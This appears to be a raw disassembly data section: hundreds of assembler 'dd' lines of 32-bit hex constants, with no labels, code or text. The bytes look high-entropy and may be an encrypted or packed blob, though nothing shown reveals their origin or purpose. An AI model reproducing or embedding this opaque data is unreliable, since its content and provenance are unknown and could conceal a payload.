		dd 4B909E9Dh, 5A9740D8h, 965EFEF8h, 0BF9A2D09h,	635AAA7Eh
		dd 0E126F892h, 2720903Bh, 12F4A6EEh, 0EEC3F2DAh, 2D1692EEh
		dd 15C66C49h, 0BE26FC20h, 0A77743FDh, 0B1F3AB2Ch, 3E2AC501h
		dd 43243278h, 5B08A1EDh, 2E13E16Fh, 0B200ED1h, 4D3F5F03h
		dd 1ABCCAC1h, 5EC71410h, 0C25BECE6h, 0DC5726BFh, 2210C454h
		dd 81BBA020h, 3A6D0FCBh, 8E3F1FD5h, 64F3DC25h, 2E857112h
		dd 898F68EFh, 0D099ED69h, 0E59EBDB0h, 7573E918h, 0AFB8C8h
		dd 0D32D04Fh, 44793B55h, 2B4F1598h, 0BC7085D3h,	0F84F8CA3h
		dd 2545582Eh, 4E82FFCAh, 0B1A963A5h, 0DD693DFCh, 0E5AD8AF3h
		dd 0BB91341Ah, 45826791h, 0BFAA7789h, 0B344197Fh, 0C5E3907Fh
		dd 702D721Fh, 4C0BF235h, 607636C7h, 7FC60C5Bh, 0FCF95C69h
		dd 1A09CB1Fh, 0F7FD898Eh, 0CDFE95E6h, 587D9200h, 0B850453Dh
		dd 0B57809B6h, 0C582214Bh, 9FDA2B56h, 0A04B72BDh, 0C31F6A92h
		dd 5AC66888h, 0EFA6AD10h, 257551Fh, 5C6E4EF8h, 9D045C57h
		dd 0A02D935Ah, 8012B08Fh, 0DFA8C128h, 1F44D710h, 0C90048B1h
		dd 9F8F0F42h, 0F05BC46Ch, 8261ABBDh, 590240FCh,	67549289h
		dd 0EA323B27h, 1B854B1h, 2BE4BFB9h, 0DFE42BD1h,	2705FED6h
		dd 6E77FF32h, 1B8F2FC4h, 8CD2E74h, 0AD29AF2Bh, 0E9C3A928h
		dd 384F1250h, 4A938BBAh, 0F28E3AF9h, 8A0F2C38h,	0DA1512Ch
		dd 0D1671C89h, 0C7690C6Eh, 5B5FDDACh, 0AAB48AF8h, 688283A8h
		dd 48541E10h, 7D767E62h, 0EC4A3614h, 70E3ED17h,	813E1C26h
		dd 0B0C2CAEBh, 0C11A20D4h, 43123013h, 8408EEDh,	95FF955Bh
		dd 0B0E90B3Ch, 58BFD278h, 0A0B7810Dh, 1DFBE00h,	77046E25h
		dd 3FA0674Ch, 332502BFh, 6296750Dh, 13A0C8BCh, 39245758h
		dd 43277C31h, 14FFE5Eh,	8305E7C1h, 0E90B75EFh, 0BE7F30D7h
		dd 248FA591h, 676D469Bh, 5EAD7614h, 5172093Dh, 0ED561C04h
		dd 0C7FFD2B7h, 0AD48E5D4h, 5E0E050Bh, 0CBC20841h, 7F624A7Eh
		dd 0EEE582D9h, 0EE4E38BCh, 2D538365h, 0E1A173B8h, 54E62E62h
		dd 0B5A29B2Ah, 92BE655Bh, 4F845BF5h, 36A23B84h,	76C51251h
		dd 50014FF0h, 12C5B2D5h, 0A05E690Ah, 0C767AF95h, 3873CB31h
		dd 0E3FB846Dh, 4C215ED9h, 0D12E704Eh, 1033D096h, 3149C7EBh
		dd 0E60C2277h, 888C4270h, 0F6F8A68Bh, 7506F9Fh,	0B7401E9h
		dd 0BD40C555h, 0BBDE9558h, 91DD52AFh, 0BF2B5A9Ah, 133C4F26h
		dd 3232A3E9h, 5B5F5DD5h, 66574BA4h, 46AE2D62h, 28473279h
		dd 68590248h, 96531E3Fh, 16EBBC88h, 5B5E0143h, 0F175B536h
		dd 0D7A2DA3Eh, 711A44FDh, 0C0C649EEh, 359B220h,	0A791AB9h
		dd 47C0BA05h, 5F98653Ah, 4110E917h, 0C1015046h,	397ABFCEh
		dd 324F26FCh, 0FD89EA72h, 43CF7461h, 0B6E5EFE9h, 77417F60h
		dd 0D63AB27Fh, 0BD8A8CEEh, 688DDFB4h, 0FB3A6AA5h, 0F8014E71h
		dd 0EC3028C9h, 0B4AFB212h, 2509C93Dh, 775AECDEh, 312D6205h
		dd 516C586h, 0B353C1D0h, 0DD882E10h, 0BB6445BFh, 0F62AE1C9h
		dd 15374C7Eh, 16C1FAFBh, 77D916C2h, 3B9C03Bh, 0D1B0298Fh
		dd 6A7F9202h, 0E0F7455Dh, 1218E57Eh, 0A040091Ah, 244105ABh
		dd 7795CC42h, 0FFB4F91Eh, 0CB2BFDC9h, 0D02780CCh, 0CFF1F461h
		dd 83E8E3F6h, 856D60E9h, 9E7DF2EEh, 6B1C240h, 29E97F8Dh
		dd 0AFB52FD3h, 428B0354h, 409C2738h, 7F80D29h, 1FBCBF5h
		dd 3B68501Ah, 6E2BBA32h, 4F8508FDh, 0BA7464E5h,	0CB551FCh
		dd 0F0B6782h, 9C703A5Bh, 346B753h, 0F12E780h, 7F4FA389h
		dd 545D28FFh, 0EBAA209Fh, 37F8E76h, 0BE56505Eh,	74FB6E52h
		dd 129EF6F8h, 0F137302h, 7619EB88h, 8D0BBC3Ch, 0A82266DFh
		dd 0A8DDF6C6h, 0F309DD0Fh, 503AD60Ah, 0D8A8219Ah, 15C4703Ch
		dd 800E75A2h, 18D182D6h, 250EB9F7h, 2A53396Bh, 906837C0h
		dd 624EB671h, 5D0B1E9Fh, 5A4C730h, 2A685C80h, 0B5194861h
		dd 0A09046h, 85060243h,	3EBBE901h, 89A72DA9h, 0F24B3376h
		dd 4A7798E1h, 0F56CC04h, 0EFFB7260h, 0A1AE172Ah, 7ACAF1h
		dd 53A6BAEFh, 0FE9D42FFh, 0D5E2016Eh, 2071FB74h, 4F13E334h
		dd 13BE1488h, 5EDC0198h, 2FF07FE9h, 0C2F624AEh,	0F5095910h
		dd 0FB006189h, 42F1DFD6h, 0A7ED095Bh, 4CFCAC92h, 0BFB10147h
		dd 0C5316F93h, 0AD6F1B71h, 22914182h, 0E2F0D349h, 796C9CA8h
		dd 3D8C8244h, 89285547h, 1DEB824Eh, 59DF0970h, 26095BF6h
		dd 5F65F5E9h, 933CCCD1h, 91F5F736h, 1F79B82Fh, 7A49DA01h
		dd 536F7C67h, 681D61E1h, 14E2E7B1h, 67675D3Fh, 4119B90Ch
		dd 7D0C5010h, 0AC085AFAh, 0ED2B754h, 78CEDAA1h,	6C1F2561h
		dd 36B641C6h, 250E9B88h, 8309600Fh, 0EDC057C0h,	532E0878h
		dd 3478410h, 46680468h
		dd 5535BE05h, 3A00A1BAh, 3A657DEEh, 0A4EE2DFAh,	0FF27C146h
		dd 441637A2h, 5EBDEEDFh, 0D608B829h, 3D888BBBh,	669DF7E9h
		dd 124D5A68h, 0B1350FC5h, 0DBF713F0h, 5A02161Ah, 4FF6B51Eh
		dd 38D92109h, 1502E14Eh, 7A70D668h, 74B95101h, 86125D42h
		dd 0BED1BBE0h, 0CE09596h, 2C02DBE2h, 2068080Fh,	271CC05h
		dd 602F355Ah, 9D40F209h, 87801C77h, 59E2EEF9h, 0BC1853ADh
		dd 6B71D553h, 6D074E91h, 0BDB3D44h, 60B679ADh, 0A5692AEBh
		dd 0C3010614h, 79A00A0h, 0B1E93C4Eh, 0F2E7A45Bh, 0C6FDC021h
		dd 7410EFCh, 36EE2924h,	0DBE5D2Ah, 30705758h, 6B680B6Fh
		dd 6E58422Eh, 3CE4D4ADh, 0D291306h, 4E46C221h, 4B25D7E4h
		dd 1399EFFFh, 0E912BF32h, 0FEE1C491h, 84E455B1h, 0C012C015h
		dd 0E8D003E0h, 0A1981CB0h, 1ECF87Fh, 0C241A597h, 447195BBh
		dd 129882BDh, 5CC578BBh, 893CE92Dh, 0D1BB77F6h,	525368Ah
		dd 0C0FE8645h, 8B4266B1h, 30E24730h, 0F685756h,	5FDE384Ch
		dd 0CE325444h, 6E775F0Bh, 598BBD46h, 27F60610h,	87BEBBC3h
		dd 0C27392FEh, 89D2A7E7h, 514466Bh, 0A41749BDh,	9945AA02h
		dd 0DBEC5DEEh, 6D5C0A93h, 8878EC54h, 0DEA8E25Bh, 19162448h
		dd 5428F447h, 15A43112h, 0D87F20F1h, 24BFAB44h,	21EFC581h
		dd 7BFEF4Fh, 7273F307h,	0C4D7764h, 6D060A54h, 4571FE0Ch
		dd 6B17394Fh, 70607B29h, 0B3EE5FE1h, 0D4FE974Ch, 75ADAE88h
		dd 0B530B8F4h, 7E260B09h, 0F3E8FCCh, 1C2FA30Bh,	0B4A49C6h
		dd 1F0A4126h, 68DD8861h, 0D3D8B4FBh, 7E4341A1h,	0E8CDD1E1h
		dd 416DFD3Bh, 2FD42F8Dh, 5F1E7C2h, 40C7BF5Bh, 47F8E595h
		dd 8E9AFA4Ah, 35685904h, 0EA1AD844h, 30FB6313h,	12A29310h
		dd 0B409369Bh, 8EE82A9Eh, 0F5888609h, 0F60E9858h, 8FDFB450h
		dd 69EC04D4h, 886881ABh, 30CB2BCAh, 0FDD05A7Fh,	14BE963Ah
		dd 0A813CEF3h, 0EFC8EB9Bh, 0CC9058BBh, 0D8316400h, 0F080055Bh
		dd 0DC936B28h, 8627D31Dh, 3090E9C5h, 0E0A88BAh,	66142D9Ch
		dd 12E84A4h, 8C07E410h,	0B272A655h, 0C677836Eh,	0CDC0ABB5h
		dd 0FC7A5B29h, 8BAA9664h, 512B5025h, 0B72CEB40h, 26418DD0h
		dd 281DB13Bh, 0BF57C0EEh, 0FD48098Ah, 0EF38406Eh, 0AD10BAF9h
		dd 0D39CFDB8h, 60D1B83Ah, 1D36C1BBh, 201F7B8Fh,	0BE002142h
		dd 92C6DF8h, 12DECE81h,	0A45B7467h, 3F2F84E0h, 0E3C153CAh
		dd 616015Eh, 4EB42BE9h,	0FBF4029h, 0DE802Fh, 7A360597h
		dd 2D2E9072h, 8EA21B97h, 0D9C14307h, 108C6947h,	501DE12h
		dd 5E771A78h, 65FDED93h, 0DF533D6Bh, 6E827253h,	11F5368h
		dd 655E8EBBh, 4012B61h,	430F5C5Ah, 0D5D5A861h, 5F20AD8Ch
		dd 5A09F1E5h, 419D275h,	90BF36BAh, 7E6FE1D6h, 0E952A605h
		dd 8EADD370h, 0F90B4112h, 0F9F6C446h, 8446BCEFh, 0E9287D43h
		dd 58476261h, 1A3FCB09h, 0F6754A0Ch, 3F29D877h,	99C3ABC0h
		dd 0BD32F305h, 0C1971F46h, 2FBB4280h, 0FD5E6038h, 0F0568C42h
		dd 0D4E4BFC2h, 0E09C907h, 0C26F42E4h, 40566ECEh, 8275DF45h
		dd 2F0EB475h, 737A1C4Ah, 5761A7B1h, 0FA754FE9h,	0ED2246Ch
		dd 0C1056FD3h, 0ECE1BB5Ch, 0E2EF0804h, 4DD8D241h, 2C104461h
		dd 1F0262B2h, 5F5B3E05h, 8A38434Fh, 80EDF78Bh, 91486B13h
		dd 1EF24FFh, 3A61AFE3h,	0EC417A69h, 7DFF6309h, 0A8316771h
		dd 0FBF9D7DAh, 69E583CFh, 403CB26Ch, 2E2F93F1h,	406A99h
		dd 24DFFDA3h, 5B59D929h, 0ED83137Ch, 61008CECh,	0E9324140h
		dd 55826302h, 22FD250Bh, 0E1F201A5h, 0B36E857Dh, 1A3348CAh
		dd 55E13B05h, 0AE23DD8Fh, 0E397774Fh, 1C2C19FEh, 0CE186386h
		dd 5CD0C309h, 2B4809E3h, 0A40B0D17h, 5781E21Eh,	168F036Fh
		dd 0E07427F2h, 0FC7B6717h, 0F2C0D184h, 1CCB630Fh, 0ADE6D15Ch
		dd 102B95Eh, 4123E94Ch,	526C394Dh, 6F685580h, 5DFC9344h
		dd 284FEEECh, 13E97670h, 4FA1B15Ch, 0FF3946Ch, 0B9F1831Dh
		dd 0FADCBBBh, 0CFC8B4C7h, 0C3439DB1h, 0CAE95F05h, 0D6337F02h
		dd 125F7093h, 7A9C72EEh, 7EDAD86Bh, 8600406Ah, 0FE34FD88h
		dd 0F1685201h, 5A1D2B1Ah, 0F5BE07Ah, 375A8979h,	86E621EFh
		dd 62CCE3C2h, 0B01EC855h, 0E70B0BEh, 0AEF480B9h, 0B958E305h
		dd 25172E79h, 0AC052210h, 31543268h, 0C22EB295h, 0C930B2F5h
		dd 5C2E64EDh, 0FCD81E5Ch, 5BA680Ah, 0B23388A2h,	1727BB00h
		dd 3E8343BDh, 369A01C3h, 8FC1AD1h, 434ED5A7h, 0D25ACF90h
		dd 0E72BFCB1h, 0ADE10E7h, 1CEB4C4h, 0FB8ABCB1h,	5A7702Ch
		dd 9EE6211Bh, 0BBB20728h, 18E5F364h, 0BDCBF2B0h, 1F7B0101h
		dd 6EDC17Fh, 1DE24520h,	0BC1DCF32h, 8AA1D280h, 5DEE2918h
		dd 361720E3h, 7AFF55A2h, 13263094h, 8FDBC617h, 90B5613Dh
		dd 95A2FA2h, 59E1E67Eh,	8B63F5Ch, 7341C602h, 825D0633h
		dd 419E8B4h, 0BBFE830Fh, 7AF9424Ah, 68EF2884h, 0E98BA50h
		dd 3C595DBAh, 702C87Ah,	68404D58h, 4182E713h, 286B52DAh
		dd 36B6564Ah, 0D19655E9h, 0F8B0D2EEh, 27A3424Fh, 5B68292Fh
		dd 7514E5CFh, 12DF3F8Eh, 8EBA7A8Dh, 702E3873h, 614AFCB5h
		dd 3BFFF790h, 0D2527CFEh, 0B1EB2748h, 68008BE4h, 0EE943C62h
		dd 9850DE63h, 9CE953F4h, 0E55DA57Ah, 723B08CFh,	1540DD20h
		dd 46AB849h, 0D7AEDD4Bh, 2109AB09h, 777E29D9h, 501646E5h
		dd 34D31E5Fh, 61D0CAAAh, 0A6E95579h, 0E03CF125h, 95064701h
		dd 609BB82Dh, 293274AAh, 5DA850F0h, 89C722Ah, 5B13E4CAh
		dd 58F3F2BEh, 856C2415h, 4CB1BE80h, 5B89798Eh, 8128EFF1h
		dd 0FCF1BFD9h, 40BB9564h, 3F88F53Ch, 2D0E508Ah,	0B2C90A71h
		dd 7D110BEh, 332AAF58h,	1ABD3F1Fh, 286A0D1Ah, 8A70E55Dh
		dd 4B1844F0h, 30DC2DDFh, 0F64CB342h, 5BDE8B1Bh,	0D43409D5h
		dd 9FCAC16h, 905D2AAEh,	744A064Dh, 0ABE5F840h, 510C10DAh
		dd 92B90254h, 7D5C9439h, 60068C8Dh, 0B5C0F027h,	472F6851h
		dd 0A64D4E7Eh, 53F100F2h, 0E963D925h, 2ED8411Ch, 2AC96AA9h
		dd 0D525A7F6h, 96CD6A25h, 0BE40C8E2h, 2FC1B054h, 487C500Bh
		dd 4E3ACA01h, 0F47A0D63h, 6502E2Dh, 1E40915Dh, 0E786130Fh
		dd 19DABA59h, 0A4876E4Ch, 6D550902h, 200CA881h,	523B8479h
		dd 0E05FA751h, 3905BF53h, 0DB484675h, 374E8404h, 28B0BB3Dh
		dd 35C70CEFh, 0E9131B65h, 3A22102Fh, 0A50C795Dh, 9EF53E32h
		dd 10D79776h, 802AC75Fh, 2CB8EF80h, 1E4C9120h, 0CF06E6C0h
		dd 0EEC7F7CEh, 92E0E448h, 0EDE310Fh, 160558h, 2D12BB2Eh
		dd 57403C27h, 827978BFh, 5AB0F707h, 335C2863h, 0A7E10286h
		dd 806B457Eh, 0F73D97F3h, 1FB9064h, 3AE79DE9h, 0DDC8291Ch
		dd 0E493E2Ah, 301F0766h, 8545C94Bh, 65C67DDEh, 0E7806E09h
		dd 8AE887B9h, 1C3D2468h, 5B2E7BFEh, 447A0921h, 0A9B49555h
		dd 0D76861D5h, 5C55C272h, 31E959F6h, 4D5A9620h,	0A0CC0401h
		dd 57F047FEh, 5359BFD5h, 5A5F5280h, 2D68E7D1h, 3F76759Ch
		dd 0B0F1F9C7h, 0B7A461Ah, 0A2E6BFFDh, 0DAF9E395h, 2F275660h
		dd 96656CFEh, 31A905EBh, 55DEC3E8h, 5BC22500h, 0F28884Fh
		dd 927F2684h, 8E044B80h, 0D731074Dh, 1CBCFA77h,	0C2012859h
		dd 54ADF83Ah, 24BEC345h, 88BA071Ah, 0FF2D8891h,	6E929699h
		dd 0F3BF4385h, 1A748596h, 92A637EBh, 0D6A3BDCCh, 0EF843C06h
		dd 0AF9272B3h, 0B7199CB2h, 65D2513Bh, 1DCE7AFEh, 68823449h
		dd 0E6D56D37h, 0A8BB0FC9h, 0E0B6426Ch, 4727E9CCh, 3E8FF1E3h
		dd 0BB399412h, 598BED2Dh
		dd 38E0D6E9h, 6815F328h, 1230266Bh, 0A874DB4h, 30EAF4D4h
		dd 80A4B51Fh, 288CEB16h, 125EFDE8h, 0A478A8F7h,	858BBCEBh
		dd 0BD02F8D9h, 555A5E52h, 0CE00F056h, 4F072873h, 7E48B457h
		dd 9CB28484h, 0CC9D4E34h, 0F4F19DAFh, 38917043h, 170A4102h
		dd 48007F25h, 502A9D05h, 9591F29Dh, 8CE9F182h, 0F480AC8h
		dd 70FE8548h, 635CF4B5h, 0FF92CA8Bh, 8A89AD5Fh,	0D14E3132h
		dd 3EBD581Ch, 60C0A8E9h, 0E94CD678h, 98056627h,	9347BF17h
		dd 0C58100B6h, 29A65541h, 0F55D9FFEh, 45E7642h,	0A480FC64h
		dd 58353020h, 152C2149h, 81400063h, 5866BBF2h, 0EA013E76h
		dd 2DA846ADh, 1C9FD2F7h, 7D324913h, 4D5DB300h, 18C10E80h
		dd 1F785109h, 0C87DA57Eh, 52905759h, 4B31711Ch,	2C40B868h
		dd 2FB2905Bh, 6799555Ah, 6CEB6045h, 0C54B84FAh,	0FED3D6ACh
		dd 2EE517C5h, 0FB05F1DDh, 0BA26FBB0h, 0FB76BF49h, 0D8C3E942h
		dd 0B55113E0h, 8B7DF9CFh, 4B26615Dh, 4A2FB040h,	79FFB09Fh
		dd 5518C99Eh, 71900BD7h, 16E96153h, 56316B55h, 0D0C1C5B2h
		dd 416A1EF5h, 12BCE23Ch, 0FA807E66h, 4EB2269Bh,	25C8BC4Eh
		dd 8843455Eh, 3318BA15h, 819165E7h, 0E2AC6EBDh,	0FE61124Bh
		dd 21FFE625h, 31071Eh, 143CABFh, 73B9147Dh, 7AFBF208h
		dd 2960C4A1h, 8AF8548Dh, 801A2FE9h, 880818DDh, 0AF5A4AC8h
		dd 4ABD6AC8h, 0FF1F9530h, 9D5A3DF0h, 53509518h,	41B708FCh
		dd 6C4A58EFh, 0BDF17113h, 68189876h, 954E9752h,	9A7CEE9Dh
		dd 0EBD180F4h, 54F4001Ch, 45524A35h, 4131E90Ah,	60D2CDAEh
		dd 0F46BC97Eh, 10D30922h, 0C0158983h, 180F4645h, 0D337F482h
		dd 0F913C8C3h, 0F7133184h, 2EBEA3ABh, 68851962h, 89986443h
		dd 976904D9h, 0D709E957h, 6BD46B94h, 7C690B67h,	5487E92Dh
		dd 0E57F0B5Eh, 4DBA556h, 2FC27027h, 0F17C7275h,	0BB7FCD60h
		dd 4EDBB841h, 4A48C034h, 0E916E2D1h, 49A51251h,	0E7EEE360h
		dd 0B486FEECh, 88328979h, 0CB40CA8Fh, 0E950D3F6h, 0CAD274Dh
		dd 62FC580h, 70C3EC88h,	0E5EB7BE1h, 0BABCC0D6h,	6A418247h
		dd 5FD2783Eh, 93C261BFh, 0B5B27ABFh, 843850CBh,	0E796577Bh
		dd 38536841h, 9D54AE4Ch, 2BFBBC50h, 94ADFBCCh, 0AFEB928Eh
		dd 408834C5h, 6F40414Fh, 0F2C414A8h, 76435885h,	0A9EAD6FBh
		dd 3D34C507h, 2F7EEDFDh, 74768D8Ch, 1F14BAD8h, 722E8A03h
		dd 9BCA11F4h, 78E5EFFCh, 27E97AE0h, 88EC26A7h, 6CAE5651h
		dd 83E9A096h, 4209D09h,	12085B52h, 5821582Fh, 16B2E68Dh
		dd 0A0EDF7ECh, 43868FFh, 8EAE4E42h, 5EF1C29h, 2B65F2Fh
		dd 0B47EFB29h, 4897B18Bh, 96C0F2CBh, 66253F37h,	795FE2E2h
		dd 5FA5EF9Ah, 0B9254B55h, 0E904215Fh, 206B6FF9h, 55EF87F2h
		dd 0F314F72Fh, 0E4FC3FE9h, 0B6F890FDh, 2FA92809h, 51471345h
		dd 151CDDADh, 27D072C8h, 0DB033C59h, 0F154D66Ah, 0CD8A659Ah
		dd 405938EBh, 39936A1Fh, 767CF8BDh, 0A65CBD68h,	8D214560h
		dd 0C8D2B749h, 0E42C5EFEh, 74026E64h, 0E315EA61h, 0CF04804Bh
		dd 0BF57003Ch, 3A271639h, 5C95B0E9h, 0B879E49h,	9451A002h
		dd 0D3E15C67h, 0BF2AFEF9h, 0C2E42A2Ch, 4D6A6837h, 0D1778E9Ah
		dd 53849642h, 0BCA2BF4Dh, 2D8692D4h, 99F68F4h, 0B84EFD30h
		dd 0FC35E62Dh, 96A942A3h, 263113FAh, 0C1B80C24h, 54244D4h
		dd 0BBDB4305h, 0E017A8BDh, 0A60A4D68h, 4E9EF0A8h, 18C8CA6Bh
		dd 0E2E1FBF9h, 7EC12F3Bh, 9FA814D7h, 777D0FD2h,	0EA126926h
		dd 0FE27A23Ah, 7FE4147Bh, 3E209893h, 0F3EA8012h, 0B3E8D0BBh
		dd 0E92DD320h, 433BDD89h, 6DF7C9D9h, 7B71860h, 82465617h
		dd 5D61CC7Fh, 0F84FD6C4h, 0E6B98661h, 9C71775h,	7A8BE157h
		dd 284F6EF7h, 0DB4C0B09h, 4025391Fh, 0FE599050h, 10B680ECh
		dd 874077B0h, 5FFB2F09h, 0D02DCAD6h, 0EE0509C5h, 7DD45F9h
		dd 4BCE87ACh, 3D1E0FD5h, 8EAB03Dh, 9F5B5553h, 96DA4FE4h
		dd 407BC082h, 5FEBC64Fh, 16B583FEh, 525800B5h, 7408A3BAh
		dd 0BB045360h, 737C15BEh, 171BFCC0h, 10C13C3h, 88C10DAh
		dd 0B1C8C75Eh, 9D88A3E9h, 0B4D62ED3h, 0D484240h, 21E5E76h
		dd 7E7B3539h, 0BD57DDEh, 0CF3AF587h, 0E7E850A2h, 28DE400Bh
		dd 2864B54Fh, 56F3C130h, 298AE88Bh, 2DEF68F2h, 3A79CF60h
		dd 0DE065327h, 9308A0E0h, 0BD55004Ah, 5B0113BFh, 9389F3BDh
		dd 0D2131Eh, 3974B714h,	0EB58D12Fh, 6BB981EDh, 208164BBh
		dd 1D1AB07Bh, 9CB42E09h, 803D6FFh, 431DFDD8h, 0C90BF8Ch
		dd 80C639FEh, 0B625F05Bh, 55B62D60h, 2C5A5D59h,	10C8A5F3h
		dd 3822625Fh, 91EDF6Bh,	27D98839h, 48A3D5F3h, 2E1C9745h
		dd 0C80EEC04h, 561A992Ch, 0BFCA0020h, 81109EC4h, 412F338Ah
		dd 881990C1h, 9E81BB7h,	0B6F32D24h, 2C9E1EB3h, 0B4BA1229h
		dd 787A822Ah, 0FA01F5A2h, 6AAC1540h, 0FC4D743Eh, 6528176Bh
		dd 715A13DEh, 6A09DE23h, 25515FD8h, 9A0AC7E9h, 45730BBFh
		dd 848455F4h, 1163B10h,	720EBC1Dh, 4CCE8C19h, 77F31926h
		dd 9A8D5046h, 28739DDDh, 52CD05C0h, 143CB666h, 0C058072Dh
		dd 0D458817Eh, 480057B9h, 0E18102B1h, 4A2C4E98h, 416E8360h
		dd 15FCF1D0h, 0C4ABE30h, 2795B806h, 1857310Ch, 5E1FE9EEh
		dd 842AB659h, 0AE169F5Ah, 44CBA662h, 0DEEE0707h, 375B8B01h
		dd 8548EC6h, 52440C63h,	0F10D1E93h, 38C177E9h, 0BA022E28h
		dd 570329F9h, 0FD8FC255h, 0B92E54A7h, 7D36C44h,	0EF1408h
		dd 0B2525051h, 0D43988C2h, 5E5AC5Ah, 4E6BE958h,	93FEB37Dh
		dd 0FE1616FBh, 49A0EFCCh, 573B767Ch, 7C0BDCA5h,	14048351h
		dd 14819175h, 76C0C5E5h, 0CD870937h, 0B512B850h, 16A90CFDh
		dd 97177DE9h, 0E48862F1h, 0B6F6CE56h, 5BDE16D8h, 0C2AAAF12h
		dd 0BC590180h, 0B3137411h, 187BE360h, 51E31E6Dh, 4810F055h
		dd 0BF8E5094h, 0AFDFBF7Fh, 627E4161h, 59D09C24h, 0C91920B5h
		dd 714F06DAh, 0AF8CFECAh, 1069F20Ch, 2709F456h,	910BC17Bh
		dd 87F15E1Dh, 0F14E6FEEh, 0E5F009A6h, 0FC8B4055h, 73049032h
		dd 1CE9C589h, 0FB5BF9BCh, 5D1C0476h, 0EF0245F0h, 6D6569AEh
		dd 0C652B0C0h, 589A672Dh, 9168129Fh, 5990CC46h,	39C72201h
		dd 0EC8BE95Dh, 95CDA780h, 4D116108h, 73CF72E3h,	0F352A103h
		dd 2FE92993h, 22624332h, 71F4FE77h, 55240429h, 68FE90FAh
		dd 852F6FD5h, 4F5DE041h, 7BBD2002h, 422C9409h, 3085D547h
		dd 6853E004h, 0DB535B2Dh, 19010E2h, 8F86BC35h, 0BE3B01E2h
		dd 0D8297544h, 124C7DE3h, 42078D1Fh, 0BF9BE966h, 0B9972775h
		dd 14DE7421h, 48B074h, 0D22DD8F7h, 29355D94h, 0CBE07EBDh
		dd 0EFE3B205h, 0C331D431h, 0A2E1027Bh, 0EF512509h, 7EB2290Bh
		dd 0E840DA20h, 0A4A44DDBh, 541A7109h, 3EC2DC13h, 6B800F0Bh
		dd 7CBFF3F0h, 7B105A95h, 0D612DE9h, 36BBEA4Dh, 906F6CD1h
		dd 9F7034E9h, 832AE9F4h, 0AF21AB14h, 1DB8923Eh,	17315E76h
		dd 3738EBC7h, 206F12D8h, 9DF2FF14h, 0B05E512h, 1A5E8369h
		dd 476BDC4Bh, 581A9868h, 3D545596h, 1129A26h, 50FFE2EBh
		dd 0C4B71BA9h, 0AA85F0EAh, 5E89639Fh, 0F6FFB460h, 4D7151B7h
		dd 34007A23h, 736684BFh, 2B7F9714h, 228277A4h, 52FB36B9h
		dd 9909459Fh, 0F66DFDAAh, 0AD87C72Fh, 0E94106F9h, 0A63A0A30h
		dd 88789802h, 0B8FDE4E7h, 5A3D27F1h, 56783D7Ch,	2580AA5Ch
		dd 0E7FF50C6h, 838A97D3h, 0EA5B9765h, 47143ACBh, 0F7CCFF17h
		dd 555B0677h, 0CA41D38Fh
		dd 0FEE5136Eh, 2F689828h, 194C1211h, 400AE927h,	0EECE201Ah
		dd 4F669280h, 0AD3DAE57h, 9D4CF2Eh, 0D91A4E68h,	66F680B2h
		dd 1EE92E39h, 51259CBEh, 7AA7BDACh, 0DDAD7D7Ch,	50A1DC1Eh
		dd 449F34FCh, 5EC4C697h, 45C29859h, 0E96498BDh,	0A4935A9Fh
		dd 60405291h, 0C7801C5Ah, 5DCF1D81h, 0F65946EFh, 342D0CDFh
		dd 0BBA9F528h, 0C38663E8h, 0D1686609h, 38FBF26Dh, 0E85B6BB4h
		dd 49C7C456h, 0DF6D0312h, 21D1C35Bh, 7DB8A7EDh,	0D3029932h
		dd 962BBh, 0DF752DDCh, 0A6895FFEh, 8BFC5B97h, 45BE092Ch
		dd 0A066C4EBh, 0FE9F2DA9h, 5CD32F12h, 0D10013ADh, 0A2513848h
		dd 8B6A0626h, 82AC4E61h, 923EC404h, 0E781FE18h,	0FEE8D27Fh
		dd 0C9895C51h, 605DC75Bh, 5B662F23h, 7A1F3F0h, 0DD594C59h
		dd 0D14FE290h, 0D053F192h, 4E67F679h, 0A6214FBFh, 87E00209h
		dd 1127035h, 8CEC332Ch,	8BDEBF76h, 2BAFFB52h, 0BD9C2A6Eh
		dd 7C1EFD60h, 2754794Ch, 0DEB2228Eh, 315A019Dh,	2A9AFBCBh
		dd 0C0693255h, 13D36855h, 6038CB71h, 344CE93Dh,	30BC3099h
		dd 0C1814F92h, 73741D89h, 8BF18302h, 0EBB593B7h, 0ADD27CA2h
		dd 0AB791231h, 8DABF4EEh, 0C38842F2h, 24CC9583h, 0D3605972h
		dd 0FBE99C76h, 0D2FE4DEBh, 2AF7042Fh, 431025FCh, 6277BD25h
		dd 1F10DE35h, 1A41890Ch, 0D9503B55h, 7797F448h,	7F21E5C4h
		dd 643B04B0h, 0FF0566FDh, 9F2DBAA0h, 0FE27C7F4h, 45F1C9CEh
		dd 8816F7EBh, 68525701h, 48F758A8h, 0E977342Eh,	6D840C9Ch
		dd 17F24D42h, 0EB013A63h, 0F8DF910Fh, 27684A18h, 7D994293h
		dd 6B493BBFh, 5556628Fh, 880F2060h, 0F6BFD87Eh,	29BCE328h
		dd 0B8CD1702h, 40767733h, 0E26ECBC1h, 0D60CC70Ch, 0C0D177ACh
		dd 4270FBF5h, 1FA65940h, 16435850h, 2F84ABE9h, 9B84A116h
		dd 592ECEEEh, 72E982B7h, 0B3BA4819h, 0D22C387Eh, 5827D83Eh
		dd 3782B989h, 0B3014EAFh, 0C83B3052h, 8C405F93h, 9559D59h
		dd 0AE9F0A94h, 46B255AFh, 0EB299FDh, 6458E268h,	97A2B27Eh
		dd 6CC9865Ch, 13CB2E0Dh, 2ADCCDE4h, 9317858Ah, 689C28E6h
		dd 4235C726h, 17805464h, 2D5DCDBEh, 1E62522Ch, 0F88BE9C1h
		dd 92E3C19h, 11081ECEh,	9E801DA9h, 1E750B37h, 329DCA44h
		dd 0FA745F72h, 4B5A7969h, 1D2AF303h, 2B45A910h,	0F191EE4Bh
		dd 0BB96C7D2h, 2995A4EBh, 5E25FB7Dh, 226072EAh,	3030D55Ch
		dd 0BFC33136h, 6FA63D64h, 1050FAA7h, 0C56FF199h, 8E8821D8h
		dd 120D0118h, 61870F28h, 5434ADA1h, 3B29439Fh, 0FAF06712h
		dd 0FD5AF04Eh, 0B395ED57h, 81BDF1EEh, 677CB10Ch, 0F17B295Bh
		dd 0E90800E0h, 4ACE162Ah, 0FD020CBBh, 0A0E6341h, 5627F788h
		dd 299AE0FAh, 51F9FEDAh, 0E82F6C20h, 0FDA65BBDh, 93A9804h
		dd 328B8079h, 36608F54h, 0B28A010Ch, 9C2BF2Eh, 407FA409h
		dd 9FF2E9E9h, 0A7F1E10Bh, 6A746D42h, 0B4698C7Eh, 68C54012h
		dd 66266427h, 78113933h, 0E5813887h, 19099394h,	34727A05h
